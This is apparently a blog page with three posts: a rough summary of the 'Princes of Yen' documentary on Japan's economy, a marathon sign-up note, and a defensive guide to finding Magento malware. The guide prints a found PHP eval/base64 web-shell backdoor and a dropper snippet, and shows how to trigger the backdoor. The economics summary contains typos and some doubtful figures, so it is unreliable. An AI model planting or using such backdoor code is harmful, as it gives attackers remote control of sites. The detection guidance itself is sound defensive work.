Summary of Princes of Yen Movie

The Princes of Yen a documentary movie created from the book of the same name. The author Richard Weiner, a renowned and knowledgable economist unlocks the key decisions, ingredients and consequences of Japan’s post-war economy.

Here is a summary of some of the profound points:

Princes of Yen

After the war was over bank loan books deteriorated. Most of the assets the band held were war bonds and loans to destroyed industries and were hence worthless. The banking sector was virtually bankrupt.

The Central bank of Japan would buy the books, paying good (state) money for assets that were worthless.

Americans facilitated land reform – ownership of land going from owners to workers. The capitalist elite were purged as war criminals.

The central bank gave window guidance to individual commercial banks to the amount and to which sectors loans should be given.

So the central bank could decide which projects should be advanced and which should be shunned

The central bank did this initially to raise the quality of life of the Japanese.

There were some undesirable consequences: companies would not fight for profitability, they would fight for market share. Cartels were introduced to stop excess competition. New entrants and new technology was suppressed.

Japanese companies became dominant in many markets in the world.So window guidance or central bank control became the best argument against free markets.

A war economy where production of weapons was shifted to consumer goods.

They needed a crisis significantly large to remove the vested interest of the ministry of finance in the war economy to move to full american style capitalism.
The crisis convinced the need for change, creating a crisis is the only way for no-one to stop you.

Window guidance increased loan quotas, fueling a credit boom. Young people in their 20s and 30s could buy second homes on modest salaries. It also caused a boom in stock market as well as property.

Economists were tasked to justify the high land prices and some came up with  ‘scarcity’ as the reason.

The labour market boomed sparking fears of a labour shortage, so companies invited final year university students to holiday resorts.

Government also loved it (the increased loan quotas) because tax revenues went up.

Normal manufacturers expanded their finance and treasury divisions to speculate on the market. Some companies like Nissan made more money on the stock market than selling cars.

Some economists said rising productivity explained the performance of Japan’s economy.

In reality Window guidance was creating a giant bubble not Japanese management techniques.

Banks had to expand and enteend loans to non-productive borrowers. If there is no growth in demand from low risk borrowers, risk is needed to increase to fulfil quota.

The banking system fueled the creation of new money and hence the bubble.

Banks would value land very highly so they could fulfil loan quota.

When a country creates too much money, it spills over as international investment. Assets like art and valuables were purchased by Japanese. Buying a staggering 75% of US treasury bonds.

It is difficult to just print money and go on a shopping spree. It only works if markets do not devalue your currency.

America did the same thing where they created money and exchanged it for other strong currency because of the dollar gold standard. Japan did the same thing and it worked because of a significant trade surplus.

Ratio of Non-GDP loans (Money generating) to total loans increases in countries that can be struck by banking crisis.

America golden 1920’s used stocks as collateral for loans. Taking stock price as given, created new money. More money in stock market caused stock prices to rise. Accepting certain percentage of stock as collateral, all banks drove up value.

Growth stopped and window guidance was abolished. Banks realised the majority of 99 trillion yen in loans were going to turn sour they became fearful and stopped loans to speculators and even good (low risk) loans.

This caused 5 million japanese to lose their jobs. Suicide became leading cause of death for men between the ages of 20 and 44. Between 1990 and 2003, 212 companies went bankrupt. The stock market dropped 80%, land prices fell by 84%. Economists felt relieved as their uncomfortable outlook came to fruition.

The ministry of finance started thinking that interest rates were the main policy tool so they put pressure on the bank of Japan to lower interest rates. Yet to date there is no empirical evidence that lower interest rates lead to increasing GDP growth.

The ministry of finance asked the bank of Japan to sell lots of yen and buy USD. So the value of the Yen would fall, making it cheaper for other countries to import Japanese products causing Japanese exports to pick up.

The Yen remained strong as the BOJ was sterilising the Yen – manipulating the value of domestic currency.
The central bank can inject money into the economy by buying assets and withdraw money by selling assets; increasing or decreasing the amount of money in the economy.

Observers suggested domestic demand had to be boosted by government spending. Then loan demand would rise. Government debt was boosted to historic levels. Fundraising was taken from the bond market. So it didn’t change the amount of money out there (Money supply). Government debt subsequently increased massively to 220% of GDP.

This caused the circular argument of “no loan growth, forcing no economic growth because of of no loan growth”. The central bank was losing sight of it’s job, which is to print money.

The central bank can buy out the commercial banks’ bad debt with newly created money. Paying face value for assets.

Which was enhanced by the central bank cornering a market and creating a mini bubble in a market that bank invest heavily to create a large profit for them. For this the tax payer should fit the bill…

“A central bank can increase the amount of money in an economy without limit by simply buying assets from the private sector and paying with newly created credit”

The scenario was:

  • The economy needs money creation
  • Banks need to rid themselves of bad debt
  • Property needs transactions

To fix this scenario the Central bank could print money, buy land from banks and turn the land into parts?

Quantitive easing is another way to inject money into economy.

They could have done this but then nothing would have changed in the economy and economic thinking of the Japanese public. They wanted a crisis, a structural change.
The Bank of Japan was refusing to create more money, they would reduce the money and worsen the recession.
The reason for this was Japan’s economic structure. Monetary easing could produce harm in a delay of structural adjustment.

Turning the war economy into forcing money into sectors selling commercial goods was unknown to incoming/rising workers, they thought it was free market.

The free market gives stock market the control instead of banks, to make people withdraw money from secure banks and put into stock market. Reformers withdrew guarantees and tax benefits on stock investments. Unemployment rose, income and wealth disparities rose.
Putting tax money into banks, nationalising and bankrupting large firms. Foreclosing on borrowers. Weakening the balance sheets of banks.

Vulture funds (largest operator Goldman Sachs)

Well, I’m Running Comrades…

I’ve been running Parkruns, I enjoy running and I have been improving. So I set a target of a sub 25 minute parkrun (5km) to buy new running shoes. I made it and bought the shoes. Was so stoked that I signed up for comrades when I got home. So on the 23rd of November 2016 I signed up and paid the entry…Well I’m running comrades…

Comrades Marathon

The Entries closed on 30th of November, as you can see the page is now 404ing.

comrades entry 2017 404

Finding Malicious Code on Magento

The first thing to do is check your site from an outside perspective, as any other black hatter would do.

The Frontend scan

Use Magescan: ./magescan scan:all <site>

This scan will usually tell you what patches will be applied. First thing to do would be to patch them immediately.

Next thing is to check if there are any known modules that are vulnerable under Installed Modules. A classic problem extension is:

| Module                 | Installed |
| VladimirPopov_WebForms | Yes       |

This extension allows users to upload anything they want onto your server including files with the extension .php

So get rid of that thing as soon as you  can.

A server side scan

Now time to scan for vulnerabilities and remote execution that are already a part of your magento site.

The best thing to use would be a Magento malware collection

The command to run is yara -r rules/all-confirmed.yar /path/to/directory

It will check against known MD5 hashes for files and for eval expressions:

eval_post My-site/magento/media/dhl/info.php
md5_c647e85ad77fd9971ba709a08566935d My-site/magento/media/wysiwyg/12345.php

The contents of info.php is:

$hash = 'fc5e038d38a57032085441e7fe7010b0';
    if (md5($_POST['hash']) === $hash) @eval(base64_decode($_POST['ue']));

The contents of 12345.php is:

$cmd1 = file_get_contents("");
$fo = fopen("cache.php", "w+");
fwrite($fo, $cmd1);

I am not too sure about the second one, as that is more of a redirect hack that sends you and maybe your users to a Be Rich now if you use the Binary Options System

The first one is remote execution where you encode your code base64 and add a hash. I think they add all of these extra things just to confuse developers into thinking there is nothing going on here.

So to try it out we can make a post to: media/dhl/info.php


$_POST[‘ue’] = ZWNobyAnaGVsbG8gd29ybGQnOw==


$_POST[‘hash’] = helloworld

ZWNobyAnaGVsbG8gd29ybGQnOw==, base64 decoded is echo hello world;

So that is remote execution